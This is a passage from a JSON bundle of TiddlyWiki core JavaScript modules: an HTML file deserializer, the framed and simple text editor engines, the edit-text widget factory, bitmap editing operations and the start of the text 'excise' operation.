$tw.utils.extractEncryptedStoreArea(text);\n\t\tif(encryptedStoreArea) {\n\t\t\t// If so, attempt to decrypt it using the current password\n\t\t\treturn $tw.utils.decryptStoreArea(encryptedStoreArea);\n\t\t} else {\n\t\t\t// It's not a TiddlyWiki so we'll return the entire HTML file as a tiddler\n\t\t\treturn deserializeHtmlFile(text,fields);\n\t\t}\n\t}\n};\n\nfunction deserializeHtmlFile(text,fields) {\n\tvar result = {};\n\t$tw.utils.each(fields,function(value,name) {\n\t\tresult[name] = value;\n\t});\n\tresult.text = text;\n\tresult.type = \"text/html\";\n\treturn [result];\n}\n\nfunction deserializeTiddlyWikiFile(text,storeAreaEnd,isTiddlyWiki5,fields) {\n\tvar results = [],\n\t\tendOfDivRegExp = /(<\\/div>\\s*)/gi,\n\t\tstartPos = storeAreaEnd,\n\t\tdefaultType = isTiddlyWiki5 ? undefined : \"text/x-tiddlywiki\";\n\tendOfDivRegExp.lastIndex = startPos;\n\tvar match = endOfDivRegExp.exec(text);\n\twhile(match) {\n\t\tvar endPos = endOfDivRegExp.lastIndex,\n\t\t\ttiddlerFields = parseTiddlerDiv(text.substring(startPos,endPos),fields,{type: defaultType});\n\t\tif(!tiddlerFields) {\n\t\t\tbreak;\n\t\t}\n\t\t$tw.utils.each(tiddlerFields,function(value,name) {\n\t\t\tif(typeof value === \"string\") {\n\t\t\t\ttiddlerFields[name] = $tw.utils.htmlDecode(value);\n\t\t\t}\n\t\t});\n\t\tif(tiddlerFields.text !== null) {\n\t\t\tresults.push(tiddlerFields);\n\t\t}\n\t\tstartPos = endPos;\n\t\tmatch = endOfDivRegExp.exec(text);\n\t}\n\treturn results;\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "tiddlerdeserializer"
        },
        "$:/core/modules/editor/engines/framed.js": {
            "title": "$:/core/modules/editor/engines/framed.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/engines/framed.js\ntype: application/javascript\nmodule-type: library\n\nText editor engine based on a simple input or textarea within an iframe. This is done so that the selection is preserved even when clicking away from the textarea\n\n\\*/\n(function(){\n\n/*jslint node: true,browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar HEIGHT_VALUE_TITLE = \"$:/config/TextEditor/EditorHeight/Height\";\n\nfunction FramedEngine(options) {\n\t// Save our options\n\toptions = options || {};\n\tthis.widget = options.widget;\n\tthis.value = options.value;\n\tthis.parentNode = options.parentNode;\n\tthis.nextSibling = options.nextSibling;\n\t// Create our hidden dummy text area for reading styles\n\tthis.dummyTextArea = this.widget.document.createElement(\"textarea\");\n\tif(this.widget.editClass) {\n\t\tthis.dummyTextArea.className = this.widget.editClass;\n\t}\n\tthis.dummyTextArea.setAttribute(\"hidden\",\"true\");\n\tthis.parentNode.insertBefore(this.dummyTextArea,this.nextSibling);\n\tthis.widget.domNodes.push(this.dummyTextArea);\n\t// Create the iframe\n\tthis.iframeNode = this.widget.document.createElement(\"iframe\");\n\tthis.parentNode.insertBefore(this.iframeNode,this.nextSibling);\n\tthis.iframeDoc = this.iframeNode.contentWindow.document;\n\t// (Firefox requires us to put some empty content in the iframe)\n\tthis.iframeDoc.open();\n\tthis.iframeDoc.write(\"\");\n\tthis.iframeDoc.close();\n\t// Style the iframe\n\tthis.iframeNode.className = this.dummyTextArea.className;\n\tthis.iframeNode.style.border = \"none\";\n\tthis.iframeNode.style.padding = \"0\";\n\tthis.iframeNode.style.resize = \"none\";\n\tthis.iframeDoc.body.style.margin = \"0\";\n\tthis.iframeDoc.body.style.padding = \"0\";\n\tthis.widget.domNodes.push(this.iframeNode);\n\t// Construct the textarea or input node\n\tvar tag = this.widget.editTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"input\";\n\t}\n\tthis.domNode = this.iframeDoc.createElement(tag);\n\t// Set the text\n\tif(this.widget.editTag === \"textarea\") {\n\t\tthis.domNode.appendChild(this.iframeDoc.createTextNode(this.value));\n\t} else {\n\t\tthis.domNode.value = this.value;\n\t}\n\t// Set the attributes\n\tif(this.widget.editType) {\n\t\tthis.domNode.setAttribute(\"type\",this.widget.editType);\n\t}\n\tif(this.widget.editPlaceholder) {\n\t\tthis.domNode.setAttribute(\"placeholder\",this.widget.editPlaceholder);\n\t}\n\tif(this.widget.editSize) {\n\t\tthis.domNode.setAttribute(\"size\",this.widget.editSize);\n\t}\n\tif(this.widget.editRows) {\n\t\tthis.domNode.setAttribute(\"rows\",this.widget.editRows);\n\t}\n\t// Copy the styles from the dummy textarea\n\tthis.copyStyles();\n\t// Add event listeners\n\t$tw.utils.addEventListeners(this.domNode,[\n\t\t{name: \"click\",handlerObject: this,handlerMethod: \"handleClickEvent\"},\n\t\t{name: \"input\",handlerObject: this,handlerMethod: \"handleInputEvent\"},\n\t\t{name: \"keydown\",handlerObject: this.widget,handlerMethod: \"handleKeydownEvent\"}\n\t]);\n\t// Insert the element into the DOM\n\tthis.iframeDoc.body.appendChild(this.domNode);\n}\n\n/*\nCopy styles from the dummy text area to the textarea in the iframe\n*/\nFramedEngine.prototype.copyStyles = function() {\n\t// Copy all styles\n\t$tw.utils.copyStyles(this.dummyTextArea,this.domNode);\n\t// Override the ones that should not be set the same as the dummy textarea\n\tthis.domNode.style.display = \"block\";\n\tthis.domNode.style.width = \"100%\";\n\tthis.domNode.style.margin = \"0\";\n\t// In Chrome setting -webkit-text-fill-color overrides the placeholder text colour\n\tthis.domNode.style[\"-webkit-text-fill-color\"] = \"currentcolor\";\n};\n\n/*\nSet the text of the engine if it doesn't currently have focus\n*/\nFramedEngine.prototype.setText = function(text,type) {\n\tif(!this.domNode.isTiddlyWikiFakeDom) {\n\t\tif(this.domNode.ownerDocument.activeElement !== this.domNode) {\n\t\t\tthis.domNode.value = text;\n\t\t}\n\t\t// Fix the height if needed\n\t\tthis.fixHeight();\n\t}\n};\n\n/*\nGet the text of the engine\n*/\nFramedEngine.prototype.getText = function() {\n\treturn this.domNode.value;\n};\n\n/*\nFix the height of textarea to fit content\n*/\nFramedEngine.prototype.fixHeight = function() {\n\t// Make sure styles are updated\n\tthis.copyStyles();\n\t// Adjust height\n\tif(this.widget.editTag === \"textarea\") {\n\t\tif(this.widget.editAutoHeight) {\n\t\t\tif(this.domNode && !this.domNode.isTiddlyWikiFakeDom) {\n\t\t\t\tvar newHeight = $tw.utils.resizeTextAreaToFit(this.domNode,this.widget.editMinHeight);\n\t\t\t\tthis.iframeNode.style.height = (newHeight + 14) + \"px\"; // +14 for the border on the textarea\n\t\t\t}\n\t\t} else {\n\t\t\tvar fixedHeight = parseInt(this.widget.wiki.getTiddlerText(HEIGHT_VALUE_TITLE,\"400px\"),10);\n\t\t\tfixedHeight = Math.max(fixedHeight,20);\n\t\t\tthis.domNode.style.height = fixedHeight + \"px\";\n\t\t\tthis.iframeNode.style.height = (fixedHeight + 14) + \"px\";\n\t\t}\n\t}\n};\n\n/*\nFocus the engine node\n*/\nFramedEngine.prototype.focus  = function() {\n\tif(this.domNode.focus && this.domNode.select) {\n\t\tthis.domNode.focus();\n\t\tthis.domNode.select();\n\t}\n};\n\n/*\nHandle a click\n*/\nFramedEngine.prototype.handleClickEvent = function(event) {\n\tthis.fixHeight();\n\treturn true;\n};\n\n/*\nHandle a dom \"input\" event which occurs when the text has changed\n*/\nFramedEngine.prototype.handleInputEvent = function(event) {\n\tthis.widget.saveChanges(this.getText());\n\tthis.fixHeight();\n\treturn true;\n};\n\n/*\nCreate a blank structure representing a text operation\n*/\nFramedEngine.prototype.createTextOperation = function() {\n\tvar operation = {\n\t\ttext: this.domNode.value,\n\t\tselStart: this.domNode.selectionStart,\n\t\tselEnd: this.domNode.selectionEnd,\n\t\tcutStart: null,\n\t\tcutEnd: null,\n\t\treplacement: null,\n\t\tnewSelStart: null,\n\t\tnewSelEnd: null\n\t};\n\toperation.selection = operation.text.substring(operation.selStart,operation.selEnd);\n\treturn operation;\n};\n\n/*\nExecute a text operation\n*/\nFramedEngine.prototype.executeTextOperation = function(operation) {\n\t// Perform the required changes to the text area and the underlying tiddler\n\tvar newText = operation.text;\n\tif(operation.replacement !== null) {\n\t\tnewText = operation.text.substring(0,operation.cutStart) + operation.replacement + operation.text.substring(operation.cutEnd);\n\t\t// Attempt to use a execCommand to modify the value of the control\n\t\tif(this.iframeDoc.queryCommandSupported(\"insertText\") && this.iframeDoc.queryCommandSupported(\"delete\") && !$tw.browser.isFirefox) {\n\t\t\tthis.domNode.focus();\n\t\t\tthis.domNode.setSelectionRange(operation.cutStart,operation.cutEnd);\n\t\t\tif(operation.replacement === \"\") {\n\t\t\t\tthis.iframeDoc.execCommand(\"delete\",false,\"\");\n\t\t\t} else {\n\t\t\t\tthis.iframeDoc.execCommand(\"insertText\",false,operation.replacement);\n\t\t\t}\n\t\t} else {\n\t\t\tthis.domNode.value = newText;\n\t\t}\n\t\tthis.domNode.focus();\n\t\tthis.domNode.setSelectionRange(operation.newSelStart,operation.newSelEnd);\n\t}\n\tthis.domNode.focus();\n\treturn newText;\n};\n\nexports.FramedEngine = FramedEngine;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "library"
        },
        "$:/core/modules/editor/engines/simple.js": {
            "title": "$:/core/modules/editor/engines/simple.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/engines/simple.js\ntype: application/javascript\nmodule-type: library\n\nText editor engine based on a simple input or textarea tag\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar HEIGHT_VALUE_TITLE = \"$:/config/TextEditor/EditorHeight/Height\";\n\nfunction SimpleEngine(options) {\n\t// Save our options\n\toptions = options || {};\n\tthis.widget = options.widget;\n\tthis.value = options.value;\n\tthis.parentNode = options.parentNode;\n\tthis.nextSibling = options.nextSibling;\n\t// Construct the textarea or input node\n\tvar tag = this.widget.editTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"input\";\n\t}\n\tthis.domNode = this.widget.document.createElement(tag);\n\t// Set the text\n\tif(this.widget.editTag === \"textarea\") {\n\t\tthis.domNode.appendChild(this.widget.document.createTextNode(this.value));\n\t} else {\n\t\tthis.domNode.value = this.value;\n\t}\n\t// Set the attributes\n\tif(this.widget.editType) {\n\t\tthis.domNode.setAttribute(\"type\",this.widget.editType);\n\t}\n\tif(this.widget.editPlaceholder) {\n\t\tthis.domNode.setAttribute(\"placeholder\",this.widget.editPlaceholder);\n\t}\n\tif(this.widget.editSize) {\n\t\tthis.domNode.setAttribute(\"size\",this.widget.editSize);\n\t}\n\tif(this.widget.editRows) {\n\t\tthis.domNode.setAttribute(\"rows\",this.widget.editRows);\n\t}\n\tif(this.widget.editClass) {\n\t\tthis.domNode.className = this.widget.editClass;\n\t}\n\t// Add an input event handler\n\t$tw.utils.addEventListeners(this.domNode,[\n\t\t{name: \"focus\", handlerObject: this, handlerMethod: \"handleFocusEvent\"},\n\t\t{name: \"input\", handlerObject: this, handlerMethod: \"handleInputEvent\"}\n\t]);\n\t// Insert the element into the DOM\n\tthis.parentNode.insertBefore(this.domNode,this.nextSibling);\n\tthis.widget.domNodes.push(this.domNode);\n}\n\n/*\nSet the text of the engine if it doesn't currently have focus\n*/\nSimpleEngine.prototype.setText = function(text,type) {\n\tif(!this.domNode.isTiddlyWikiFakeDom) {\n\t\tif(this.domNode.ownerDocument.activeElement !== this.domNode || text === \"\") {\n\t\t\tthis.domNode.value = text;\n\t\t}\n\t\t// Fix the height if needed\n\t\tthis.fixHeight();\n\t}\n};\n\n/*\nGet the text of the engine\n*/\nSimpleEngine.prototype.getText = function() {\n\treturn this.domNode.value;\n};\n\n/*\nFix the height of textarea to fit content\n*/\nSimpleEngine.prototype.fixHeight = function() {\n\tif(this.widget.editTag === \"textarea\") {\n\t\tif(this.widget.editAutoHeight) {\n\t\t\tif(this.domNode && !this.domNode.isTiddlyWikiFakeDom) {\n\t\t\t\t$tw.utils.resizeTextAreaToFit(this.domNode,this.widget.editMinHeight);\n\t\t\t}\n\t\t} else {\n\t\t\tvar fixedHeight = parseInt(this.widget.wiki.getTiddlerText(HEIGHT_VALUE_TITLE,\"400px\"),10);\n\t\t\tfixedHeight = Math.max(fixedHeight,20);\n\t\t\tthis.domNode.style.height = fixedHeight + \"px\";\n\t\t}\n\t}\n};\n\n/*\nFocus the engine node\n*/\nSimpleEngine.prototype.focus  = function() {\n\tif(this.domNode.focus && this.domNode.select) {\n\t\tthis.domNode.focus();\n\t\tthis.domNode.select();\n\t}\n};\n\n/*\nHandle a dom \"input\" event which occurs when the text has changed\n*/\nSimpleEngine.prototype.handleInputEvent = function(event) {\n\tthis.widget.saveChanges(this.getText());\n\tthis.fixHeight();\n\treturn true;\n};\n\n/*\nHandle a dom \"focus\" event\n*/\nSimpleEngine.prototype.handleFocusEvent = function(event) {\n\tif(this.widget.editFocusPopup) {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: this.domNode,\n\t\t\ttitle: this.widget.editFocusPopup,\n\t\t\twiki: this.widget.wiki,\n\t\t\tforce: true\n\t\t});\n\t}\n\treturn true;\n};\n\n/*\nCreate a blank structure representing a text operation\n*/\nSimpleEngine.prototype.createTextOperation = function() {\n\treturn null;\n};\n\n/*\nExecute a text operation\n*/\nSimpleEngine.prototype.executeTextOperation = function(operation) {\n};\n\nexports.SimpleEngine = SimpleEngine;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "library"
        },
        "$:/core/modules/editor/factory.js": {
            "title": "$:/core/modules/editor/factory.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/factory.js\ntype: application/javascript\nmodule-type: library\n\nFactory for constructing text editor widgets with specified engines for the toolbar and non-toolbar cases\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar DEFAULT_MIN_TEXT_AREA_HEIGHT = \"100px\"; // Minimum height of textareas in pixels\n\n// Configuration tiddlers\nvar HEIGHT_MODE_TITLE = \"$:/config/TextEditor/EditorHeight/Mode\";\nvar ENABLE_TOOLBAR_TITLE = \"$:/config/TextEditor/EnableToolbar\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nfunction editTextWidgetFactory(toolbarEngine,nonToolbarEngine) {\n\n\tvar EditTextWidget = function(parseTreeNode,options) {\n\t\t// Initialise the editor operations if they've not been done already\n\t\tif(!this.editorOperations) {\n\t\t\tEditTextWidget.prototype.editorOperations = {};\n\t\t\t$tw.modules.applyMethods(\"texteditoroperation\",this.editorOperations);\n\t\t}\n\t\tthis.initialise(parseTreeNode,options);\n\t};\n\n\t/*\n\tInherit from the base widget class\n\t*/\n\tEditTextWidget.prototype = new Widget();\n\n\t/*\n\tRender this widget into the DOM\n\t*/\n\tEditTextWidget.prototype.render = function(parent,nextSibling) {\n\t\t// Save the parent dom node\n\t\tthis.parentDomNode = parent;\n\t\t// Compute our attributes\n\t\tthis.computeAttributes();\n\t\t// Execute our logic\n\t\tthis.execute();\n\t\t// Create the wrapper for the toolbar and render its content\n\t\tif(this.editShowToolbar) {\n\t\t\tthis.toolbarNode = this.document.createElement(\"div\");\n\t\t\tthis.toolbarNode.className = \"tc-editor-toolbar\";\n\t\t\tparent.insertBefore(this.toolbarNode,nextSibling);\n\t\t\tthis.renderChildren(this.toolbarNode,null);\n\t\t\tthis.domNodes.push(this.toolbarNode);\n\t\t}\n\t\t// Create our element\n\t\tvar editInfo = this.getEditInfo(),\n\t\t\tEngine = this.editShowToolbar ? toolbarEngine : nonToolbarEngine;\n\t\tthis.engine = new Engine({\n\t\t\t\twidget: this,\n\t\t\t\tvalue: editInfo.value,\n\t\t\t\ttype: editInfo.type,\n\t\t\t\tparentNode: parent,\n\t\t\t\tnextSibling: nextSibling\n\t\t\t});\n\t\t// Call the postRender hook\n\t\tif(this.postRender) {\n\t\t\tthis.postRender();\n\t\t}\n\t\t// Fix height\n\t\tthis.engine.fixHeight();\n\t\t// Focus if required\n\t\tif(this.editFocus === \"true\" || this.editFocus === \"yes\") {\n\t\t\tthis.engine.focus();\n\t\t}\n\t\t// Add widget message listeners\n\t\tthis.addEventListeners([\n\t\t\t{type: \"tm-edit-text-operation\", handler: \"handleEditTextOperationMessage\"}\n\t\t]);\n\t};\n\n\t/*\n\tGet the tiddler being edited and current value\n\t*/\n\tEditTextWidget.prototype.getEditInfo = function() {\n\t\t// Get the edit value\n\t\tvar self = this,\n\t\t\tvalue,\n\t\t\ttype = \"text/plain\",\n\t\t\tupdate;\n\t\tif(this.editIndex) {\n\t\t\tvalue = this.wiki.extractTiddlerDataItem(this.editTitle,this.editIndex,this.editDefault);\n\t\t\tupdate = function(value) {\n\t\t\t\tvar data = self.wiki.getTiddlerData(self.editTitle,{});\n\t\t\t\tif(data[self.editIndex] !== value) {\n\t\t\t\t\tdata[self.editIndex] = value;\n\t\t\t\t\tself.wiki.setTiddlerData(self.editTitle,data);\n\t\t\t\t}\n\t\t\t};\n\t\t} else {\n\t\t\t// Get the current tiddler and the field name\n\t\t\tvar tiddler = this.wiki.getTiddler(this.editTitle);\n\t\t\tif(tiddler) {\n\t\t\t\t// If we've got a tiddler, the value to display is the field string value\n\t\t\t\tvalue = tiddler.getFieldString(this.editField);\n\t\t\t\tif(this.editField === \"text\") {\n\t\t\t\t\ttype = tiddler.fields.type || \"text/vnd.tiddlywiki\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Otherwise, we need to construct a default value for the editor\n\t\t\t\tswitch(this.editField) {\n\t\t\t\t\tcase \"text\":\n\t\t\t\t\t\tvalue = \"Type the text for the tiddler '\" + this.editTitle + \"'\";\n\t\t\t\t\t\ttype = \"text/vnd.tiddlywiki\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tvalue = this.editTitle;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tvalue = \"\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif(this.editDefault !== undefined) {\n\t\t\t\t\tvalue = this.editDefault;\n\t\t\t\t}\n\t\t\t}\n\t\t\tupdate = function(value) {\n\t\t\t\tvar tiddler = self.wiki.getTiddler(self.editTitle),\n\t\t\t\t\tupdateFields = {\n\t\t\t\t\t\ttitle: self.editTitle\n\t\t\t\t\t};\n\t\t\t\tupdateFields[self.editField] = value;\n\t\t\t\tself.wiki.addTiddler(new $tw.Tiddler(self.wiki.getCreationFields(),tiddler,updateFields,self.wiki.getModificationFields()));\n\t\t\t};\n\t\t}\n\t\tif(this.editType) {\n\t\t\ttype = this.editType;\n\t\t}\n\t\treturn {value: value || \"\", type: type, update: update};\n\t};\n\n\t/*\n\tHandle an edit text operation message from the toolbar\n\t*/\n\tEditTextWidget.prototype.handleEditTextOperationMessage = function(event) {\n\t\t// Prepare information about the operation\n\t\tvar operation = this.engine.createTextOperation();\n\t\t// Invoke the handler for the selected operation\n\t\tvar handler = this.editorOperations[event.param];\n\t\tif(handler) {\n\t\t\thandler.call(this,event,operation);\n\t\t}\n\t\t// Execute the operation via the engine\n\t\tvar newText = this.engine.executeTextOperation(operation);\n\t\t// Fix the tiddler height and save changes\n\t\tthis.engine.fixHeight();\n\t\tthis.saveChanges(newText);\n\t};\n\n\t/*\n\tCompute the internal state of the widget\n\t*/\n\tEditTextWidget.prototype.execute = function() {\n\t\t// Get our parameters\n\t\tthis.editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t\tthis.editField = this.getAttribute(\"field\",\"text\");\n\t\tthis.editIndex = this.getAttribute(\"index\");\n\t\tthis.editDefault = this.getAttribute(\"default\");\n\t\tthis.editClass = this.getAttribute(\"class\");\n\t\tthis.editPlaceholder = this.getAttribute(\"placeholder\");\n\t\tthis.editSize = this.getAttribute(\"size\");\n\t\tthis.editRows = this.getAttribute(\"rows\");\n\t\tthis.editAutoHeight = this.wiki.getTiddlerText(HEIGHT_MODE_TITLE,\"auto\");\n\t\tthis.editAutoHeight = this.getAttribute(\"autoHeight\",this.editAutoHeight === \"auto\" ? \"yes\" : \"no\") === \"yes\";\n\t\tthis.editMinHeight = this.getAttribute(\"minHeight\",DEFAULT_MIN_TEXT_AREA_HEIGHT);\n\t\tthis.editFocusPopup = this.getAttribute(\"focusPopup\");\n\t\tthis.editFocus = this.getAttribute(\"focus\");\n\t\t// Get the default editor element tag and type\n\t\tvar tag,type;\n\t\tif(this.editField === \"text\") {\n\t\t\ttag = \"textarea\";\n\t\t} else {\n\t\t\ttag = \"input\";\n\t\t\tvar fieldModule = $tw.Tiddler.fieldModules[this.editField];\n\t\t\tif(fieldModule && fieldModule.editTag) {\n\t\t\t\ttag = fieldModule.editTag;\n\t\t\t}\n\t\t\tif(fieldModule && fieldModule.editType) {\n\t\t\t\ttype = fieldModule.editType;\n\t\t\t}\n\t\t\ttype = type || \"text\";\n\t\t}\n\t\t// Get the rest of our parameters\n\t\tthis.editTag = this.getAttribute(\"tag\",tag);\n\t\tthis.editType = this.getAttribute(\"type\",type);\n\t\t// Make the child widgets\n\t\tthis.makeChildWidgets();\n\t\t// Determine whether to show the toolbar\n\t\tthis.editShowToolbar = this.wiki.getTiddlerText(ENABLE_TOOLBAR_TITLE,\"yes\");\n\t\tthis.editShowToolbar = (this.editShowToolbar === \"yes\") && !!(this.children && this.children.length > 0) && (!this.document.isTiddlyWikiFakeDom);\n\t};\n\n\t/*\n\tSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n\t*/\n\tEditTextWidget.prototype.refresh = function(changedTiddlers) {\n\t\tvar changedAttributes = this.computeAttributes();\n\t\t// Completely rerender if any of our attributes have changed\n\t\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes[\"default\"] || changedAttributes[\"class\"] || changedAttributes.placeholder || changedAttributes.size || changedAttributes.autoHeight || changedAttributes.minHeight || changedAttributes.focusPopup ||  changedAttributes.rows || changedTiddlers[HEIGHT_MODE_TITLE] || changedTiddlers[ENABLE_TOOLBAR_TITLE]) {\n\t\t\tthis.refreshSelf();\n\t\t\treturn true;\n\t\t} else if(changedTiddlers[this.editTitle]) {\n\t\t\tvar editInfo = this.getEditInfo();\n\t\t\tthis.updateEditor(editInfo.value,editInfo.type);\n\t\t}\n\t\tthis.engine.fixHeight();\n\t\tif(this.editShowToolbar) {\n\t\t\treturn this.refreshChildren(changedTiddlers);\t\t\t\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t};\n\n\t/*\n\tUpdate the editor with new text. This method is separate from updateEditorDomNode()\n\tso that subclasses can override updateEditor() and still use updateEditorDomNode()\n\t*/\n\tEditTextWidget.prototype.updateEditor = function(text,type) {\n\t\tthis.updateEditorDomNode(text,type);\n\t};\n\n\t/*\n\tUpdate the editor dom node with new text\n\t*/\n\tEditTextWidget.prototype.updateEditorDomNode = function(text,type) {\n\t\tthis.engine.setText(text,type);\n\t};\n\n\t/*\n\tSave changes back to the tiddler store\n\t*/\n\tEditTextWidget.prototype.saveChanges = function(text) {\n\t\tvar editInfo = this.getEditInfo();\n\t\tif(text !== editInfo.value) {\n\t\t\teditInfo.update(text);\n\t\t}\n\t};\n\n\t/*\n\tHandle a dom \"keydown\" event, which we'll bubble up to our container for the keyboard widgets benefit\n\t*/\n\tEditTextWidget.prototype.handleKeydownEvent = function(event) {\n\t\t// Check for a keyboard shortcut\n\t\tif(this.toolbarNode) {\n\t\t\tvar shortcutElements = this.toolbarNode.querySelectorAll(\"[data-tw-keyboard-shortcut]\");\n\t\t\tfor(var index=0; index<shortcutElements.length; index++) {\n\t\t\t\tvar el = shortcutElements[index],\n\t\t\t\t\tshortcutData = el.getAttribute(\"data-tw-keyboard-shortcut\"),\n\t\t\t\t\tkeyInfoArray = $tw.keyboardManager.parseKeyDescriptors(shortcutData,{\n\t\t\t\t\t\twiki: this.wiki\n\t\t\t\t\t});\n\t\t\t\tif($tw.keyboardManager.checkKeyDescriptors(event,keyInfoArray)) {\n\t\t\t\t\tvar clickEvent = this.document.createEvent(\"Events\");\n\t\t\t\t    clickEvent.initEvent(\"click\",true,false);\n\t\t\t\t    el.dispatchEvent(clickEvent);\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\treturn true;\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Propogate the event to the container\n\t\tif(this.propogateKeydownEvent(event)) {\n\t\t\t// Ignore the keydown if it was already handled\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t\treturn true;\n\t\t}\n\t\t// Otherwise, process the keydown normally\n\t\treturn false;\n\t};\n\n\t/*\n\tPropogate keydown events to our container for the keyboard widgets benefit\n\t*/\n\tEditTextWidget.prototype.propogateKeydownEvent = function(event) {\n\t\tvar newEvent = this.document.createEventObject ? this.document.createEventObject() : this.document.createEvent(\"Events\");\n\t\tif(newEvent.initEvent) {\n\t\t\tnewEvent.initEvent(\"keydown\", true, true);\n\t\t}\n\t\tnewEvent.keyCode = event.keyCode;\n\t\tnewEvent.which = event.which;\n\t\tnewEvent.metaKey = event.metaKey;\n\t\tnewEvent.ctrlKey = event.ctrlKey;\n\t\tnewEvent.altKey = event.altKey;\n\t\tnewEvent.shiftKey = event.shiftKey;\n\t\treturn !this.parentDomNode.dispatchEvent(newEvent);\n\t};\n\n\treturn EditTextWidget;\n\n}\n\nexports.editTextWidgetFactory = editTextWidgetFactory;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "library"
        },
        "$:/core/modules/editor/operations/bitmap/clear.js": {
            "title": "$:/core/modules/editor/operations/bitmap/clear.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/bitmap/clear.js\ntype: application/javascript\nmodule-type: bitmapeditoroperation\n\nBitmap editor operation to clear the image\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"clear\"] = function(event) {\n\tvar ctx = this.canvasDomNode.getContext(\"2d\");\n\tctx.globalAlpha = 1;\n\tctx.fillStyle = event.paramObject.colour || \"white\";\n\tctx.fillRect(0,0,this.canvasDomNode.width,this.canvasDomNode.height);\n\t// Save changes\n\tthis.strokeEnd();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "bitmapeditoroperation"
        },
        "$:/core/modules/editor/operations/bitmap/resize.js": {
            "title": "$:/core/modules/editor/operations/bitmap/resize.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/bitmap/resize.js\ntype: application/javascript\nmodule-type: bitmapeditoroperation\n\nBitmap editor operation to resize the image\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"resize\"] = function(event) {\n\t// Get the new width\n\tvar newWidth = parseInt(event.paramObject.width || this.canvasDomNode.width,10),\n\t\tnewHeight = parseInt(event.paramObject.height || this.canvasDomNode.height,10);\n\t// Update if necessary\n\tif(newWidth > 0 && newHeight > 0 && !(newWidth === this.currCanvas.width && newHeight === this.currCanvas.height)) {\n\t\tthis.changeCanvasSize(newWidth,newHeight);\n\t}\n\t// Update the input controls\n\tthis.refreshToolbar();\n\t// Save the image into the tiddler\n\tthis.saveChanges();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "bitmapeditoroperation"
        },
        "$:/core/modules/editor/operations/bitmap/rotate-left.js": {
            "title": "$:/core/modules/editor/operations/bitmap/rotate-left.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/bitmap/rotate-left.js\ntype: application/javascript\nmodule-type: bitmapeditoroperation\n\nBitmap editor operation to rotate the image left by 90 degrees\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"rotate-left\"] = function(event) {\n\t// Rotate the canvas left by 90 degrees\n\tthis.rotateCanvasLeft();\n\t// Update the input controls\n\tthis.refreshToolbar();\n\t// Save the image into the tiddler\n\tthis.saveChanges();\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "bitmapeditoroperation"
        },
        "$:/core/modules/editor/operations/text/excise.js": {
            "title": "$:/core/modules/editor/operations/text/excise.js",
            "text": "/*\\\ntitle: $:/core/modules/editor/operations/text/excise.js\ntype: application/javascript\nmodule-type: texteditoroperation\n\nText editor operation to excise the selection to a new tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"excise\"] = function(event,operation) {\n\tvar editTiddler = this.wiki.getTiddler(this.editTitle),\n\t\teditTiddlerTitle = this.editTitle;\n\tif(editTiddler && editTiddler.fields[\"draft.of\"]) {\n\t\teditTiddlerTitle = editTiddler.fields[\"draft.of\"];\n\t}\n\tvar excisionTitle = event.paramObject.title || this.wiki.generateNewTitle(\"New Excision\");\n\tthis.wiki.addTiddler(new $tw.Tiddler(\n\t\tthis.wiki.getCreationFields(),\n\t\tthis.wiki.getModificationFields(),\n\t\t{\n\t\t\ttitle: excisionTitle,\n\t\t\ttext: operation.selection,\n\t\t\ttags: event.paramObject.tagnew === \"yes\" ?  [editTiddlerTitle] : []\n\t\t}\n\t));\n\toperation.replacement = excisionTitle;\n\tswitch(event.paramObject.type || \"transclude\") {\n\t\tcase \"transclude\":\n\t\t\toperation.replacement = \"{{\" + operation.replacement+ \"}}\";\n\t\t\tbreak;\n\t\tcase \"link\":\n\t\t\toperation.replacement = \"[[\" + operation.replacement+ \"]]\";\n\t\t\tbreak;\n\t\tcase \"macro\":\n\t\t\toperation.replacement = \"<<\" + (event.paramObject.macro || \"translink\") + \" \\\"\\\"\\\"\" + operation.replacement + \"\\\"\\\"\\\">>\";\n\t\t\tbreak;\n\t}\n\toperation.cutStart = 